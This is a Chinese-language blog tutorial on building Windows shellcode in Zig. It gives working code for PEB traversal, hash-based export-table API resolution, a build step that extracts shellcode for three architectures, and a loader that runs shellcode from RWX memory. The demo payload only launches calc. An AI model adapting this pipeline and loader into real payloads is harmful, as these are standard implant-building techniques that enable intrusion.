Windows下shellcode的通用流程是

  1. 通过PEB遍历获取DLL模块的地址
  2. 搜索DLL模块的导出表获取需要的API
  3. 通过API实现特定的功能

早期很多教程借助汇编来实现,但现在几乎都是高级语言直接编写

比如最佳实践:donut,上述3个流程可以在以下代码中找到

https://github.com/TheWover/donut/blob/v1.0/loader/peb.c

C语言能写的,Zig也一定能写,本文使用zig版本0.11.0,将带你一条龙实现shellcode

准备工作

PEB

获取PEB

1
std.os.windows.peb()

结构体

一些常见的windows上的结构体都在 std.os.windows 中有声明,但缺失与shellcode相关的有两部分

一是PEB中的LDR_DATA_TABLE_ENTRY结构,二是PE格式相关的结构

点击查看win32.zig
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
const std = @import("std");
const windows = std.os.windows;

pub const LDR_DATA_TABLE_ENTRY = extern struct {
InLoadOrderLinks: windows.LIST_ENTRY,
InMemoryOrderLinks: windows.LIST_ENTRY,
Reserved2: [2]windows.PVOID,
DllBase: ?windows.PVOID,
EntryPoint: windows.PVOID,
SizeOfImage: windows.ULONG,
FullDllName: windows.UNICODE_STRING,
Reserved4: [8]windows.BYTE,
Reserved5: [3]windows.PVOID,
DUMMYUNIONNAME: extern union {
CheckSum: windows.ULONG,
Reserved6: windows.PVOID,
},
TimeDateStamp: windows.ULONG,
};

pub const IMAGE_DOS_HEADER = extern struct {
e_magic: windows.WORD,
e_cblp: windows.WORD,
e_cp: windows.WORD,
e_crlc: windows.WORD,
e_cparhdr: windows.WORD,
e_minalloc: windows.WORD,
e_maxalloc: windows.WORD,
e_ss: windows.WORD,
e_sp: windows.WORD,
e_csum: windows.WORD,
e_ip: windows.WORD,
e_cs: windows.WORD,
e_lfarlc: windows.WORD,
e_ovno: windows.WORD,
e_res: [4]windows.WORD,
e_oemid: windows.WORD,
e_oeminfo: windows.WORD,
e_res2: [10]windows.WORD,
e_lfanew: windows.LONG,
};

pub const IMAGE_DATA_DIRECTORY = extern struct {
VirtualAddress: windows.DWORD,
Size: windows.DWORD,
};
pub const IMAGE_OPTIONAL_HEADER32 = extern struct {
Magic: windows.WORD,
MajorLinkerVersion: windows.BYTE,
MinorLinkerVersion: windows.BYTE,
SizeOfCode: windows.DWORD,
SizeOfInitializedData: windows.DWORD,
SizeOfUninitializedData: windows.DWORD,
AddressOfEntryPoint: windows.DWORD,
BaseOfCode: windows.DWORD,
BaseOfData: windows.DWORD,
ImageBase: windows.DWORD,
SectionAlignment: windows.DWORD,
FileAlignment: windows.DWORD,
MajorOperatingSystemVersion: windows.WORD,
MinorOperatingSystemVersion: windows.WORD,
MajorImageVersion: windows.WORD,
MinorImageVersion: windows.WORD,
MajorSubsystemVersion: windows.WORD,
MinorSubsystemVersion: windows.WORD,
Win32VersionValue: windows.DWORD,
SizeOfImage: windows.DWORD,
SizeOfHeaders: windows.DWORD,
CheckSum: windows.DWORD,
Subsystem: windows.WORD,
DllCharacteristics: windows.WORD,
SizeOfStackReserve: windows.DWORD,
SizeOfStackCommit: windows.DWORD,
SizeOfHeapReserve: windows.DWORD,
SizeOfHeapCommit: windows.DWORD,
LoaderFlags: windows.DWORD,
NumberOfRvaAndSizes: windows.DWORD,
DataDirectory: [16]IMAGE_DATA_DIRECTORY,
};
pub const IMAGE_OPTIONAL_HEADER64 = extern struct {
Magic: windows.WORD,
MajorLinkerVersion: windows.BYTE,
MinorLinkerVersion: windows.BYTE,
SizeOfCode: windows.DWORD,
SizeOfInitializedData: windows.DWORD,
SizeOfUninitializedData: windows.DWORD,
AddressOfEntryPoint: windows.DWORD,
BaseOfCode: windows.DWORD,
ImageBase: windows.ULONGLONG,
SectionAlignment: windows.DWORD,
FileAlignment: windows.DWORD,
MajorOperatingSystemVersion: windows.WORD,
MinorOperatingSystemVersion: windows.WORD,
MajorImageVersion: windows.WORD,
MinorImageVersion: windows.WORD,
MajorSubsystemVersion: windows.WORD,
MinorSubsystemVersion: windows.WORD,
Win32VersionValue: windows.DWORD,
SizeOfImage: windows.DWORD,
SizeOfHeaders: windows.DWORD,
CheckSum: windows.DWORD,
Subsystem: windows.WORD,
DllCharacteristics: windows.WORD,
SizeOfStackReserve: windows.ULONGLONG,
SizeOfStackCommit: windows.ULONGLONG,
SizeOfHeapReserve: windows.ULONGLONG,
SizeOfHeapCommit: windows.ULONGLONG,
LoaderFlags: windows.DWORD,
NumberOfRvaAndSizes: windows.DWORD,
DataDirectory: [16]IMAGE_DATA_DIRECTORY,
};
pub const IMAGE_FILE_HEADER = extern struct {
Machine: windows.WORD,
NumberOfSections: windows.WORD,
TimeDateStamp: windows.DWORD,
PointerToSymbolTable: windows.DWORD,
NumberOfSymbols: windows.DWORD,
SizeOfOptionalHeader: windows.WORD,
Characteristics: windows.WORD,
};
pub const IMAGE_NT_HEADERS64 = extern struct {
Signature: windows.DWORD,
FileHeader: IMAGE_FILE_HEADER,
OptionalHeader: IMAGE_OPTIONAL_HEADER64,
};

pub const IMAGE_NT_HEADERS32 = extern struct {
Signature: windows.DWORD,
FileHeader: IMAGE_FILE_HEADER,
OptionalHeader: IMAGE_OPTIONAL_HEADER32,
};

pub const IMAGE_OPTIONAL_HEADER = if (@sizeOf(usize) == 4) IMAGE_OPTIONAL_HEADER32 else IMAGE_OPTIONAL_HEADER64;
pub const IMAGE_NT_HEADERS = if (@sizeOf(usize) == 4) IMAGE_NT_HEADERS32 else IMAGE_NT_HEADERS64;

pub const IMAGE_EXPORT_DIRECTORY = extern struct {
Characteristics: windows.DWORD,
TimeDateStamp: windows.DWORD,
MajorVersion: windows.WORD,
MinorVersion: windows.WORD,
Name: windows.DWORD,
Base: windows.DWORD,
NumberOfFunctions: windows.DWORD,
NumberOfNames: windows.DWORD,
AddressOfFunctions: windows.DWORD,
AddressOfNames: windows.DWORD,
AddressOfNameOrdinals: windows.DWORD,
};

pub const IMAGE_DIRECTORY_ENTRY_EXPORT = @as(c_int, 0);
pub const IMAGE_DIRECTORY_ENTRY_IMPORT = @as(c_int, 1);
pub const IMAGE_DIRECTORY_ENTRY_RESOURCE = @as(c_int, 2);
pub const IMAGE_DIRECTORY_ENTRY_EXCEPTION = @as(c_int, 3);
pub const IMAGE_DIRECTORY_ENTRY_SECURITY = @as(c_int, 4);
pub const IMAGE_DIRECTORY_ENTRY_BASERELOC = @as(c_int, 5);
pub const IMAGE_DIRECTORY_ENTRY_DEBUG = @as(c_int, 6);
pub const IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = @as(c_int, 7);
pub const IMAGE_DIRECTORY_ENTRY_GLOBALPTR = @as(c_int, 8);
pub const IMAGE_DIRECTORY_ENTRY_TLS = @as(c_int, 9);
pub const IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = @as(c_int, 10);
pub const IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = @as(c_int, 11);
pub const IMAGE_DIRECTORY_ENTRY_IAT = @as(c_int, 12);
pub const IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = @as(c_int, 13);
pub const IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = @as(c_int, 14);

pub const IMAGE_SECTION_HEADER = extern struct {
Name: [8]windows.UCHAR,
VirtualSize: windows.ULONG,
VirtualAddress: windows.ULONG,
SizeOfRawData: windows.ULONG,
PointerToRawData: windows.ULONG,
PointerToRelocations: windows.ULONG,
PointerToLinenumbers: windows.ULONG,
NumberOfRelocations: windows.USHORT,
NumberOfLinenumbers: windows.USHORT,
Characteristics: windows.ULONG,
};

pub const IMAGE_BASE_RELOCATION = extern struct {
VirtualAddress: windows.DWORD,
SizeOfBlock: windows.DWORD,
};

pub const IMAGE_RELOC = packed struct(u16) {
offset: u12,
typ: u4,
};
pub const IMAGE_REL_BASED_DIR64: u6 = 10;
pub const IMAGE_REL_BASED_HIGHLOW: u6 = 3;
pub const IMAGE_REL_TYPE = if (@sizeOf(usize) == 4) IMAGE_REL_BASED_HIGHLOW else IMAGE_REL_BASED_DIR64;

pub const IMAGE_IMPORT_DESCRIPTOR = extern struct {
OriginalFirstThunk: windows.DWORD,
TimeDateStamp: windows.DWORD,
ForwarderChain: windows.DWORD,
Name: windows.DWORD,
FirstThunk: windows.DWORD,
};
pub const IMAGE_THUNK_DATA64 = extern union {
const Self = @This();
ForwarderString: windows.ULONGLONG,
Function: windows.ULONGLONG,
Ordinal: windows.ULONGLONG,
AddressOfData: windows.ULONGLONG,
pub fn IMAGE_SNAP_BY_ORDINAL(self: *Self) bool {
return (self.Ordinal & 0x8000000000000000) != 0;
}
pub fn IMAGE_ORDINAL(self: *Self) usize {
return self.Ordinal & 0xFFFF;
}
};
pub const IMAGE_THUNK_DATA32 = extern union {
const Self = @This();
ForwarderString: windows.DWORD,
Function: windows.DWORD,
Ordinal: windows.DWORD,
AddressOfData: windows.DWORD,
pub fn IMAGE_SNAP_BY_ORDINAL(self: *Self) bool {
return (self.Ordinal & 0x80000000) != 0;
}
pub fn IMAGE_ORDINAL(self: *Self) usize {
return self.Ordinal & 0xFFFF;
}
};

pub const IMAGE_THUNK_DATA = if (@sizeOf(usize) == 4) IMAGE_THUNK_DATA32 else IMAGE_THUNK_DATA64;

pub const IMAGE_IMPORT_BY_NAME = extern struct {
Hint: windows.WORD,
Name: [1]windows.CHAR,
};

pub const IMAGE_FILE_RELOCS_STRIPPED = 0x0001;

pub const IMAGE_SCN_MEM_EXECUTE = 0x20000000;
pub const IMAGE_SCN_MEM_READ = 0x40000000;
pub const IMAGE_SCN_MEM_WRITE = 0x80000000;

PE中的地址转换

通过泛型根据返回值的类型自动转换,目前用到要么返回个指针,要么返回个usize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pub fn rva2va(comptime T: type, base: *const anyopaque, rva: usize) T {
var ptr = @intFromPtr(base) + rva;
return switch (@typeInfo(T)) {
.Pointer => {
return @as(T, @ptrFromInt(ptr));
},
.Int => {
if (T != usize) {
@compileError("expected usize, found '" ++ @typeName(T) ++ "'");
}
return @as(T, ptr);
},
else => {
@compileError("expected pointer or int, found '" ++ @typeName(T) ++ "'");
},
};
}

hash算法

为了精简shellcode大小,在判断导出表函数名使用hash值比较

参考了java对String的hash算法

  1. 设置了一个初始值(iv)
  2. 计算时忽略大小写
1
2
3
4
5
6
7
8
inline fn hashApi(api: []const u8) u32 {
var h: u32 = 0x6c6c6a62; // iv for api hash
for (api) |item| {
// 0x20 for lowercase
h = @addWithOverflow(@mulWithOverflow(31, h)[0], item | 0x20)[0];
}
return h;
}

声明API原型

我们想要实现启动程序并退出的shellcode,需要WinExec和ExitProcess两个API

注意ok方法,它通过@typeInfo反射结构体成员,判断是否结构体中所有API指针均不为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const apiAddr = struct {
const Self = @This();
WinExec: ?*const fn (
lpCmdLine: [*c]u8,
UINT: windows.UINT,
) callconv(windows.WINAPI) windows.UINT = null,

ExitProcess: ?*const fn (
nExitCode: windows.LONG,
) callconv(windows.WINAPI) void = null,
fn ok(self: *Self) bool {
inline for (@typeInfo(apiAddr).Struct.fields) |field| {
if (@field(self, field.name) == null) {
return false;
}
}
return true;
}
};

实现主要逻辑

通过PEB遍历获取DLL模块的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fn getApi(apis: *apiAddr) bool {
var peb = std.os.windows.peb();
var ldr = peb.Ldr;
var dte: *win32.LDR_DATA_TABLE_ENTRY = @ptrCast(ldr.InLoadOrderModuleList.Flink);
while (dte.DllBase != null) : ({
dte = @ptrCast(dte.InLoadOrderLinks.Flink);
}) {
findApi(apis, dte.DllBase.?);
if (apis.ok()) {
return true;
}
}
return false;
}

搜索DLL模块的导出表获取需要的API

这里有必要解释一下

  1. 通过@typeInfo反射遍历apiAddr结构所有成员信息
  2. comptime hashApi(field.name) 通过comptime关键字编译时计算apiAddr成员名称的hash
  3. 最后通过@field设置结构体成员的值

如果以后需要添加新的API,只需要在apiAddr结构中增加成员即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
fn findApi(r: *apiAddr, inst: windows.PVOID) void {
var dos: *win32.IMAGE_DOS_HEADER = @ptrCast(@alignCast(inst));
var nt = rva2va(*win32.IMAGE_NT_HEADERS, inst, @as(u32, @bitCast(dos.e_lfanew)));
var rva = nt.OptionalHeader.DataDirectory[win32.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (rva == 0) {
return;
}
var exp = rva2va(*win32.IMAGE_EXPORT_DIRECTORY, inst, rva);
var cnt = exp.NumberOfNames;
if (cnt == 0) {
return;
}
var adr = rva2va([*c]u32, inst, exp.AddressOfFunctions);
var sym = rva2va([*c]u32, inst, exp.AddressOfNames);
var ord = rva2va([*c]u16, inst, exp.AddressOfNameOrdinals);
var dll = sliceTo(rva2va([*c]u8, inst, exp.Name));
std.log.debug("[i]{s}", .{dll});
for (0..cnt) |i| {
var sym_ = rva2va([*c]u8, inst, sym[i]);
var adr_ = rva2va(usize, inst, adr[ord[i]]);
var hash = hashApi(sliceTo(sym_));
inline for (@typeInfo(apiAddr).Struct.fields) |field| {
if (hash == comptime hashApi(field.name)) {
@field(r, field.name) = @ptrFromInt(adr_);
std.log.debug("[+]{s} at 0x{X}", .{ field.name, adr_ });
}
}
}
}
inline fn sliceTo(buf: [*c]u8) []u8 {
var len: usize = 0;
while (buf[len] != 0) : ({
len += 1;
}) {}
return buf[0..len];
}

通过API实现特定的功能

为了方便调试,我们声明了main函数用于生成测试的控制台程序

为了方便后续提取shellcode,我们导出了gogoEnd函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pub fn main() void {
go();
}

pub export fn go() void {
var apis = apiAddr{};
if (!getApi(&apis)) {
std.log.debug("[-]api not found", .{});
return;
}
std.log.debug("[+]find {d} api", .{@typeInfo(apiAddr).Struct.fields.len});
var cmdline = "calc".*;
_ = apis.WinExec.?(&cmdline, 0);
apis.ExitProcess.?(0);
}

pub export fn goEnd() void {}

zig build编译程序,测试结果正常

calc

构建提取shellcode

c语言使用Makefile,CMake,ninja等工具都可以构建

与c语言不同,zig统一通过build.zig中的zig代码来构建,自由度更高也更统一

另外由于zig使用llvm作为后端,所以支持windows的x86, x86_64, aarch64三种架构

构建测试程序

先修改成可以一次编译三种架构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const std = @import("std");
pub fn build(b: *std.Build) void {
const optimize = b.standardOptimizeOption(.{});
{
inline for (&.{ "x86", "x86_64", "aarch64" }) |t| {
const exe = b.addExecutable(.{
.name = "test-" ++ t,
.root_source_file = .{ .path = "src/main.zig" },
.target = std.zig.CrossTarget.parse(.{ .arch_os_abi = t ++ "-windows-gnu" }) catch unreachable,
.optimize = optimize,
});
b.installArtifact(exe);
}
}
}

再次执行zig build,可以看到同时生成了三种架构的测试程序

dir

提取shellcode

build方法中添加如下代码

  1. 添加sc步骤,之后可以通过命令zig build sc来触发
  2. 同时生成三种架构的shellcode
  3. 使用ReleaseSmall来编译,生成更小的shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const sc = b.step("sc", "Build ReleaseSmall shellcode");

{
inline for (&.{ "x86", "x86_64", "aarch64" }) |arch| {
const dll = b.addSharedLibrary(.{
.name = "sc-" ++ arch,
.root_source_file = .{ .path = "src/main.zig" },
.target = std.zig.CrossTarget.parse(.{ .arch_os_abi = arch ++ "-windows-msvc" }) catch unreachable,
.optimize = .ReleaseSmall,
});
const install = b.addInstallArtifact(dll, .{});
const c = GenShellCode.create(b, install);
sc.dependOn(&c.step);
}
}

实现GenShellCode,主要思路是

  1. 读取对应架构的DLL
  2. 解析DLL的导出表gogoEnd函数,提取shellcode
  3. 写出到对应sc文件
点击查看代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
const win32 = @import("src/win32.zig");

fn getNt(base: *anyopaque) *anyopaque {
var dos: *win32.IMAGE_DOS_HEADER = @ptrCast(@alignCast(base));
return @ptrFromInt(@intFromPtr(base) + @as(u32, @bitCast(dos.e_lfanew)));
}
fn rva2ofs(comptime T: type, base: *anyopaque, rva: usize, is64: bool) T {
var nt = getNt(base);

var sh: [*c]win32.IMAGE_SECTION_HEADER = undefined;
var shNum: usize = 0;
if (is64) {
var nt64: *win32.IMAGE_NT_HEADERS64 = @alignCast(@ptrCast(nt));
sh = @ptrFromInt(@intFromPtr(&nt64.OptionalHeader) + nt64.FileHeader.SizeOfOptionalHeader);
shNum = nt64.FileHeader.NumberOfSections;
} else {
var nt32: *win32.IMAGE_NT_HEADERS32 = @alignCast(@ptrCast(nt));
sh = @ptrFromInt(@intFromPtr(&nt32.OptionalHeader) + nt32.FileHeader.SizeOfOptionalHeader);
shNum = nt32.FileHeader.NumberOfSections;
}

var ofs: usize = 0;
for (0..shNum) |i| {
if (rva >= sh[i].VirtualAddress and rva < (sh[i].VirtualAddress + sh[i].SizeOfRawData)) {
ofs = sh[i].PointerToRawData + (rva - sh[i].VirtualAddress);
break;
}
}
std.debug.assert(ofs != 0);
var ptr = @intFromPtr(base) + ofs;
return switch (@typeInfo(T)) {
.Pointer => {
return @as(T, @ptrFromInt(ptr));
},
.Int => {
if (T != usize) {
@compileError("expected usize, found '" ++ @typeName(T) ++ "'");
}
return @as(T, ptr);
},
else => {
@compileError("expected pointer or int, found '" ++ @typeName(T) ++ "'");
},
};
}

fn readFile(filename: []const u8, allocator: std.mem.Allocator) []u8 {
var f = std.fs.cwd().openFile(filename, .{}) catch unreachable;
defer f.close();
var stream = std.ArrayList(u8).initCapacity(allocator, 512 * 1024) catch unreachable;
var fifo = std.fifo.LinearFifo(u8, .{ .Static = 1024 }).init();
fifo.pump(f.reader(), stream.writer()) catch unreachable;
return stream.toOwnedSlice() catch unreachable;
}

fn genShellCode(step: *std.Build.Step, prog_node: *std.Progress.Node) anyerror!void {
_ = prog_node;
const c = @fieldParentPtr(GenShellCode, "step", step);
const allocator = step.owner.allocator;
const is64 = c.install.artifact.target.cpu_arch != .x86;

{
var dir = std.fs.cwd().openDir(step.owner.lib_dir, .{}) catch unreachable;
defer dir.close();
var inst = dir.readFileAllocOptions(
allocator,
c.install.dest_sub_path,
1024 * 64,
null,
16,
null,
) catch unreachable;
// get shellcode by resolve go goEnd symbol
var nt = getNt(inst.ptr);
var rva: u32 = 0;
if (is64) {
var nt64: *win32.IMAGE_NT_HEADERS64 = @alignCast(@ptrCast(nt));
rva = nt64.OptionalHeader.DataDirectory[win32.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
} else {
var nt32: *win32.IMAGE_NT_HEADERS32 = @alignCast(@ptrCast(nt));
rva = nt32.OptionalHeader.DataDirectory[win32.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
}

std.debug.assert(rva != 0);
var exp = rva2ofs(*align(1) win32.IMAGE_EXPORT_DIRECTORY, inst.ptr, rva, is64);
var cnt = exp.NumberOfNames;
std.debug.assert(cnt != 0);
var adr = rva2ofs([*c]align(1) u32, inst.ptr, exp.AddressOfFunctions, is64);
var sym = rva2ofs([*c]align(1) u32, inst.ptr, exp.AddressOfNames, is64);
var ord = rva2ofs([*c]align(1) u16, inst.ptr, exp.AddressOfNameOrdinals, is64);
var goFn: [*c]u8 = undefined;
var fnLen: usize = undefined;
for (0..cnt) |i| {
var sym_ = std.mem.sliceTo(rva2ofs([*c]u8, inst.ptr, sym[i], is64), 0);
var adr_ = rva2ofs(usize, inst.ptr, adr[ord[i]], is64);
if (std.mem.eql(u8, sym_, "go")) {
goFn = @ptrFromInt(adr_);
} else if (std.mem.eql(u8, sym_, "goEnd")) {
fnLen = adr_ - @as(usize, @intFromPtr(goFn));
}
}
var shellcode = goFn[0..fnLen];
var scname = switch (c.install.artifact.target.cpu_arch.?) {
.x86 => "x86.sc",
.x86_64 => "x86_64.sc",
.aarch64 => "aarch64.sc",
else => unreachable,
};
try dir.writeFile(scname, shellcode);
}
}

/// gen shellcode
const GenShellCode = struct {
step: std.Build.Step,
install: *std.Build.Step.InstallArtifact,
fn create(owner: *std.Build, install: *std.Build.Step.InstallArtifact) *GenShellCode {
const self = owner.allocator.create(GenShellCode) catch unreachable;

self.* = .{
.step = std.Build.Step.init(.{
.id = .install_artifact,
.name = owner.fmt("generate shellcode for {s}", .{install.artifact.name}),
.owner = owner,
.makeFn = genShellCode,
}),
.install = install,
};
self.step.dependOn(&install.step);
return self;
}
};

通过命令zig build sc生成shellcode,可以看到大小在300个字节左右

dir shellcode

测试shellcode

在src目录新建一个loader.zig实现一个简单的shellcode加载和运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const std = @import("std");
const os = std.os;
const fs = std.fs;
const path = fs.path;
const win = os.windows;

pub fn main() !void {
const allocator = std.heap.page_allocator;
var args = try std.process.argsAlloc(allocator);
defer allocator.free(args);
if (args.len == 1) {
std.log.err("usage: {s} scpath", .{path.basename(args[0])});
return;
}
var data = try fs.cwd().readFileAlloc(allocator, args[1], 1024 * 1024 * 1024);
var ptr = try win.VirtualAlloc(
null,
data.len,
win.MEM_COMMIT | win.MEM_RESERVE,
win.PAGE_EXECUTE_READWRITE,
);
defer win.VirtualFree(ptr, 0, win.MEM_RELEASE);
var buf: [*c]u8 = @ptrCast(ptr);
@memcpy(buf[0..data.len], data);
@as(*const fn () void, @ptrCast(@alignCast(ptr)))();
}

build.zig中添加loader步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
const loader = b.step("loader", "Build ReleaseSmall loader");

{
inline for (&.{ "x86", "x86_64", "aarch64" }) |t| {
const exe = b.addExecutable(.{
.name = "loader-" ++ t,
.root_source_file = .{ .path = "src/loader.zig" },
.target = std.zig.CrossTarget.parse(.{ .arch_os_abi = t ++ "-windows-gnu" }) catch unreachable,
.optimize = .ReleaseSmall,
});
loader.dependOn(&b.addInstallArtifact(exe, .{}).step);
}
}

通过命令zig build loader生成,测试shellcode是否正常

loader

完整代码

https://github.com/howmp/zigshellcode

总结

用zig实现shellcode相对于c有以下优势

  1. 通过@typeInfo编译时反射,实现添加API声明后自动获取地址
  2. 通过comptime编译时关键字,实现自动生成API字符串hash
  3. 通过编写build.zig构建代码,实现自动提取x86, x86_64, aarch64三种架构shellcode